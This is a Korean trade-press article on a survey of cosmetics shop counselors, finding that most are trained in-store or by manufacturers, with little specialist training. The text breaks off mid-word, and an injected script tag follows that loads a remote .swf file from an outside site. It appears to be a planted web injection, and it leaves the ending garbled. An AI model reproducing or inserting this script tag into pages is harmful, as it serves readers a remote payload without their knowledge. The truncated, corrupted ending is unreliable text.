카운슬러 ‘배우고 싶지만 가르치는 곳이 없다’ 매장 자체 교육 절반… 메이커와 협회 차원의 전폭적 지원 시급 전문점 내 카운슬러의 위치가 급부상하면서 카운슬러 교육이 새로운 문제로 떠오르고 있다. 하지만 아직 카운슬러 교육은 열악한 상태인 것으로 조사됐다.
전국 500명의 카운슬러에게 ‘제품지식이나 판매, 서비스 등 교육을 어떤 식으로 받았나’라는 설문조사 결과 응답자의 절반인 50.0%가 매장에서 자체적으로 실시하는 교육을 받았다고 밝혀 카운슬러 교육이 수동적으로 이뤄지고 있음을 암시했다. 또 42.8%의 응답자가 메이커에서 실시하는 교육을 받았다고 답변해 교육 시스템이 메이커에 의존적임을 보여줬다.
이에 반해 전문기관에서 교육을 받았다는 응답자는 3.0%, 전문대학을 통한 교육은 2.2%, 전문지나 미용지를 활용한 교육은 2.0%로 나타나 교육 방식이 다양하지 못한 것으로 나타났다.
특히 경기지역은 64.0%가 매장 자체적으로 교육을 실시하고 있는 것으로 조사돼 교육 루트가 열악한 지역으로 나타났다. 반면 전남지역과 경남지역 등 남부지방은 전문기관이나 전문대학에서 교육을 받았다는 답변자가 상대적으로 높아 교육 방식이 보다 다양한 것으로 조사됐다.
서울지역은 전문기관과 전문 대학에서 교육받았다는 응답자가 7.0%, 메이커 교육이 44.0%, 매장 자체 교육이 46.0%, 전문지나 미용지를 통한 교육이 3.0%로 나타났다.
메이커 교육은 제품지식에 국한
카운슬러의 교육은 어제 오늘의 문제가 아니다. 전문점은 일반 판매 직종과는 달리 전문화된 지식을 필요로 한다. 화장품이 의약부외품의 성향을 띠고 있는 만큼 사람의 피부타입에 맞게 제품을 추천해야 하며 소비자가 원하는 스타일을 정확하게 파악해 상담에 임해야 하는 것이다. 특히 최근에는 기능성화장품이 본격적으로 출시되면서 카운슬링의 중요도는 더욱 부각되고 있다.
하지만 이런 중요성에 비해 전문 교육은 미진한 것이 현실이다. 응답자의 절반이 매장 자체적으로 교육을 하고 있다고 답변했는데, 자체 교육의 전문성이 어느 정도 선일지 의문스럽다. 선진 전문점상을 구현하고자 하는 일부 전문점은 정기적인 교육 일정을 잡고 손님맞이법이나 친절교육, 제품교육 등에 대해 체계적인 교육 일정을 추진하고 있지만 대다수의 전문점은 그냥 ‘친절하라’고 강조하는 수준에 불과한 것이 사실이다.
메이커의 교육을 받았다는 42.8%의 응답자도 단순히 메이커 제품 교육에만 그쳐 실제 카운슬링 노하우를 배울 수 있는 자리는 드물어 보인다. 가끔 메이저급 메이커를 중심으로 제품교육과 더불어 판매방식, 카운슬링 자세, 인사방법 등에 대해 부차적인 교육이 이뤄지기도 하지만 기대에는 훨씬 못 미치는 수준이다.
메이커 입장에서도 자사의 매출 향상에 도움이 되는 것으로 커리큘럼을 짜고 있어 실제 전문점과 카운슬러를 위한 교육은 외면되고 있다.
카운슬링 실력이 매출과 직결
다행히 최근에는 일부 신진 메이커들이 카운슬러 교육에 대한 중요성을 충분히 이해하고 교육에 적극적으로 참여하고 있어 전문점의 인력난 해소에 도움을 주고 있다. 비록 순회사원 중심의 자사 판촉사원에 불과하기도 하지만 전문?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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